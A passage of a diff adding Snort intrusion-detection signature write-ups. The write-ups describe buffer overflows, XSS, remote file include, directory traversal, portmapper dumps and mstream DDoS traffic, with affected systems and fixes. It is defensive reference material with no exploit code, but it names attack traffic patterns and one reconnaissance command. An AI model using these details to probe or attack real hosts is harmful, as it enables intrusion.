+functions for CDE. A buffer overflow exists in the rtable_insert()
+function because of improper bounds checking, allowing the execution of
+arbitrary commands with the privileges of root.  One possible exploit
+vector is by inserting appointments into the Calendar Manager database.
+ 
+--
+Affected Systems:
+	SCO Open UNIX 8.0
+	SCO UnixWare 7.1.1
+	HP-UX 10.20, 10.24, 10.30, 11.0
+	Sun Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, 7.0
+	Sun SunOS 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+The attacker can use the exploit code to overflow the buffer allowing
+execution of arbitrary commands with the privileges of root.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1811.txt
+++ snort-2.7.0/doc/signatures/1811.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1811
+
+--
+Summary:
+This event is generated when a remote user has exploited a flaw in a 
+local SSH server.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+OpenSSH has a flaw in the challenge-response mechanism when configured 
+with either the "PAMAuthenticationViaKbdInt" or the 
+"ChallengeResponseAuthentication" options. This flaw can be exploited by
+a user who is not authenicated and can lead to the attacker obtaining a 
+root shell.
+
+--
+Affected Systems:
+OpenSSH versions 1.2 to 3.3, Solaris 9.0, IBM Linux 
+Affinity Toolkit, and HP HP-UX Secure Shell A.03.10.
+
+--
+Attack Scenarios:
+An attacker can cause the service to restart or hang, leaving the 
+service unavailable to users.
+
+--
+Ease of Attack:
+Simple. Exploit code available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to latest version of OpenSSH
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5093
+
+--
--- snort-2.7.0.orig/doc/signatures/2884.txt
+++ snort-2.7.0/doc/signatures/2884.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2884
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_update_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2438.txt
+++ snort-2.7.0/doc/signatures/2438.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2438
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Real Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2937.txt
+++ snort-2.7.0/doc/signatures/2937.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2937
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/100000663.txt
+++ snort-2.7.0/doc/signatures/100000663.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000663
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "icq" parameter in the "edit.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/115-4.txt
+++ snort-2.7.0/doc/signatures/115-4.txt
@@ -0,0 +1,69 @@
+
+
+Rule:
+
+--
+Sid:
+115-4
+
+--
+Summary:
+This event is generated when the pre-processor asn1 detects network
+traffic that may constitute an attack. Specifically an asn.1 spec
+violation, indicating a possible overflow attempt was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the asn1 pre-processor detects network
+traffic that may consititute an attack.
+
+This may indicate an attempt to overflow a fixed length buffer in an
+application using the asn1 libraries.
+
+More information on this event can be found in the individual
+pre-processor documentation README.asn1 in the docs directory of the
+snort source. Detailed instructions and examples on how to tune and use
+the pre-processor can also be found in the same document.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ASN1 Information Site:
+http://asn1.elibel.tm.fr/
+
+--
--- snort-2.7.0.orig/doc/signatures/2748.txt
+++ snort-2.7.0/doc/signatures/2748.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2748
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000706.txt
+++ snort-2.7.0/doc/signatures/100000706.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000706
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "index.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1312.txt
+++ snort-2.7.0/doc/signatures/1312.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1312
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "nude cheerleader".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "nude cheerleader".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/803.txt
+++ snort-2.7.0/doc/signatures/803.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+803
+
+--
+Summary:
+This event is generated when an attempt is made to access hsx.cgi and 
+then utilize a directory traversal technique to read files outside the 
+root directory of the web server. This indicates an attempt to exploit a
+vulnerability in the Hyperseek 2000 search engine that allows 
+read-access to directory listings and files.
+
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a directory traversal vulnerability in HyperSeek 2000. When directory traversal techniques such as ../../ are used as arguments to hsx.cgi, an unauthorized user can navigate to directories and access files that are normally hidden. 
+
+--
+Affected Systems:
+Web servers running iWeb Systems HyperSeek 2000 are vulnerable. 
+
+--
+Attack Scenarios:
+An attacker can use a directory traversal technique when executing hsx.cgi to view hidden directories and files on the web server.
+
+--
+Ease of Attack:
+Simple. Exploits exist. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uprade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Rule modified by Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2314
+
+CERT/CC
+http://www.kb.cert.org/vuls/id/146704
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0253
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10602
+
+--
--- snort-2.7.0.orig/doc/signatures/248.txt
+++ snort-2.7.0/doc/signatures/248.txt
@@ -0,0 +1,57 @@
+Rule:
+--
+Sid:
+248
+
+--
+Summary:
+This event is generated when an mstream DDoS handler responds to an mstream client.
+
+--
+Impact:
+Severe.  If the list source IP is in your network, it may be an mstream handler.  If the listed destination IP is in your network, it may be an mstream client.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to inform them to launch attacks.  A client may communicate with a handler using a TCP packet to destination port 12754 with a string of ">" in the payload.  A handler responds to this with a TCP source port of 12754 and a string of ">" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+An mstream handler may be respond to a communication from an mstream client.
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There are other known client-to-handler ports in addition to 12754.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.7.0.orig/doc/signatures/1461.txt
+++ snort-2.7.0/doc/signatures/1461.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1461
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1783.txt
+++ snort-2.7.0/doc/signatures/1783.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+
+1783
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "oral sex".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "oral sex".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3076.txt
+++ snort-2.7.0/doc/signatures/3076.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3076
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"unsubscribe" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/243.txt
+++ snort-2.7.0/doc/signatures/243.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+243
+
+--
+Summary:
+This event is generated when the mstream DDoS tool is used.
+
+--
+Impact:
+Severe. This indicates a host may have been compromised and mstream may have been installed.  
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack.
+
+There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack. An agent will attempt to contact its known handlers using a UDP packet to destination port 6838 with a string of "newserver" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes a mstream agent, it will attempt to communicate with its known handlers.
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There may be ports other than 6838 used for agent-to-handler communications.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+NAI:
+http://vil.nai.com/vil/content/v_98662.htm
+SecurityFocus:
+http://www.securityfocus.com/archive/82/58040
+CERT:
+http://www.cert.org/incident_notes/IN-2000-05.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.7.0.orig/doc/signatures/2409.txt
+++ snort-2.7.0/doc/signatures/2409.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+2409
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer by
+supplying a very long username to an APOP POP3 service.
+
+--
+Impact:
+Serious. Several POP3 servers are vulnerable to USER buffer overflows.
+
+--
+Detailed Information:
+By supplying more than 626 bytes of data to the APOP USER command on 1st
+Class Internet Solutions' 1st Class Mail Server, an attacker may
+overflow a buffer resulting in the opportunity to execute code of their
+choosing on the targeted machine with the privileges of the user running
+the service.
+
+Other Mail software may be prone to this attack.
+
+--
+Affected Systems:
+	1st Class Mail Server
+
+--
+Attack Scenarios:
+An attacker may connect to the service and supply an over-long username
+to overflow the buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check for other events generated by the source IP address.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1051.txt
+++ snort-2.7.0/doc/signatures/1051.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1051
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/599.txt
+++ snort-2.7.0/doc/signatures/599.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+599
+
+--
+Summary:
+This event is generated when an attempt is made dump entries from the portmapper on a Solaris host.
+
+--
+Impact:
+Information disclosure.  This request can discover what Remote Procedure Call (RPC) services are offered and on which ports they listen. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts.  It can be queried for all RPC services running, the RPC program name and version, the protocol (TCP or UDP), and the port where the service listens.  This can provide an attacker with valuable information about what RPC services are offered and on which ports.
+
+--
+Affected Systems:
+All Solaris hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover RPC services and their associated listening ports. 
+
+--
+Ease of Attack:
+Simple. Execute 'rpcinfo -p hostname/IP'.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC service.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS429
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2085.txt
+++ snort-2.7.0/doc/signatures/2085.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+2085
+
+--
+Summary:
+parse_xml.cgi script on a webserver.
+
+--
+Impact:
+Arbitrary code execution, information disclosure and possible cross site
+scripting.
+
+--
+Detailed Information:
+Multiple vulnerabilities exist in Apple Quick Time Streaming Server and 
+Apple Darwin Streamin Server, such that an attacker can gain information
+on the file system as an intelligence gathering activity for an attack 
+on vulnerable services.
+
+It is also possible for an attacker to inject malicious code into the 
+log file for the server, the impact of this would be to execute the code
+when viewed by the administrator.
+
+It is also directly vulnerable to cross site scripting issues.
+
+--
+Affected Systems:
+	Apple Darwin Streaming Server 4.1.2
+	Apple Quicktime Streaming Server 4.1.1
+
+--
+Attack Scenarios:
+In the case of injecting code to the log files, the attacker would need 
+to make requests to the streaming server with the code inserted in the 
+request.
+
+The attacker can execute an attack on the file system contents using a 
+browser, the attacker needs to include a NULL byte in the request to 
+reveal the directory structure.
+
+The cross site scripting issue does not need anything specific to be 
+done.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the systems affected.
+
+Upgrade to the latest non affected versions of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6960
+http://www.securityfocus.com/bid/6990
+http://www.securityfocus.com/bid/6955
+http://www.securityfocus.com/bid/6956
+http://www.securityfocus.com/bid/6958
+
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0054
+
+--
--- snort-2.7.0.orig/doc/signatures/2978.txt
+++ snort-2.7.0/doc/signatures/2978.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2978
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.7.0.orig/doc/signatures/100000642.txt
+++ snort-2.7.0/doc/signatures/100000642.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000642
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_modify_file.php" using a remote file being passed 
+as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
